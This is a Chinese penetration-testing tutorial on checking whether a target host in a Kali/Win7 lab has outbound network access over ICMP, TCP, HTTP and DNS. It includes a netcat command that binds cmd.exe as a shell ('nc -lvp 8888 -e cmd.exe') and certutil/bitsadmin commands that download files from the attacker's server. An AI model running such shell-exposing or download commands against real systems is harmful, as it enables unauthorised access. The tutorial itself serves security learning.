文章目录
该部分主要是探测目标主机是否出网,网络拓扑图如下:
kali:192.168.111.0
win7:192.168.111.128
一、ICMP协议探测出网
ICMP
(Internet Control Message Protocol)是一种面向无连接的协议,属于网络层的协议,用于检测网络通信故障和实现链路追踪。
1.1 Windows系统探测ICMP协议出网
(1)ping
ping
命令经常用于测试网络连通性,由于该命令是基于ICMP协议来实现的,因此Ping是ICMP出网测试中最常用的命令。
ping www.baidu.com
返回如下图信息,即证明ICMP协议出网探测成功。
(2)tracert 命令
tracert
命令是Windows中用来跟踪路由的命令,它依靠ICMP协议实现,在ICMP出网测试中只需要使用Tracert命令跟踪下目标地址即可。
tracert www.baidu.com
获得下图的返回信息,即证明出网成功。
1.2 Linux系统探测ICMP协议出网
在Linux系统中探测ICMP协议出网通常可以使用ping
命令,但linux系统需要使用-c
来指定次数,Windows系统下ping
命令执行第4次后会自动停止,linux系统则不会自动停止。
ping -c 4 www.baidu.com
获得下图的返回信息,即证明出网成功。
二、TCP协议探测出网
2.1 NC工具探测TCP协议出网
目标主机上使用nc监听8888端口,并将shell反弹
nc -lvp 8888 -e cmd.exe
# -l:监听
# -v:显示指令执行过程
# -p <source port>:设置监听端口
# -e cmd.exe:将win7的shell反弹给kali
# 如果是linux主机监听的话,就是:-e /bin/bash
kali使用nc连接win7
nc -nv 192.168.111.128 8888
# -n:直接使用IP地址,而不通过域名服务器
# -v:显示指令执行过程
)
)
成功连接~
2.2 Telnet命令探测TCP协议出网
kali上使用nc监听8888端口
nc -lvp 8888
# -l:监听
# -v:显示指令执行过程
# -p <source port>:设置监听端口
目标主机使用telnet
去探测kali的8888端口
telnet 192.168.111.0 8888
结果如下显示,说明通过TCP协议出网。
三、HTTP/HTTPS协议探测出网
3.1 Windows系统探测HTTP/HTTPS出网
(1) Bitsadmin 命令
Bitsadmin
命令在Windows操作系统是用于创建、下载或上传作业,并监视作业进度的命令行工具。可通过该命令行工具测试能否从网站下载文件,以此来检测http或https是否出网。
kali上开启http服务:
python3 -m http.server 9999
win7下使用Bitsadmin
命令下载指定文件。
# 使用Bitsadmin命令下载test.php文件,并保存到本地C盘下的test.php中
bitsadmin /rawreturn /transfer down "http://192.168.111.0:9999/test.php" c:\test.php"
type c:\test.php # type:显示文本内容,相当于linux下的cat
如若正常下载,则证明探测出网成功。
(2)Certuil 命令
Certuil
命令是windows操作系统中的一款下载文件的命令行工具,可作为证书服务的安装,用来转储和显示证书颁发机构 (CA) 配置信息,配置证书服务,备份和还原CA组件,以及验证证书、密钥对和证书链。
kali上开启http服务:
python3 -m http.server 9999
win7下使用certutil
下载指定文件。
certutil -urlcache -split -f http://192.168.111.0:9999/test.php c:\t.php
type c:\t.php # type:显示文本内容,相当于linux下的cat
3.2 Linux系统探测HTTP/HTTPS出网
(1)curl
Curl
是Linux自带的命令行工具,用于传输来自服务器或者到服务器的数据。
curl https://www.baidu.com
该命令会显示返回数据包内容。
(2)wget
Wget
是Linux下一款命令行下载工具,支持http和ftp协议,支持多种下载模式,一般用于批量下载文件。
# 下载robots.txt
wget https://www.baidu.com/robots.txt
五、DNS协议探测出网
5.1 Windows系统探测DNS协议出网
在Windows系统中测试DNS协议出网可使用nslookup
命令,这是一种网络管理命令行工具,可以用来查询DNS域名和IP解析。
nslookup <url> <指定DNS服务器>
5.2 Linux系统探测DNS协议出网
(1)dig
dig
命令在Linux操作系统中用于询问DNS,可以查询DNS协议下的NS记录、A记录、MX记录相关信息。
dig @8.8.8.8 www.baidu.com
这里指定DNS服务器,8.8.8.8
是Google的DNS服务器。返回响应结果,证明出网成功。
(2)nslookup
同windows
nslookup <url> <指定DNS服务器>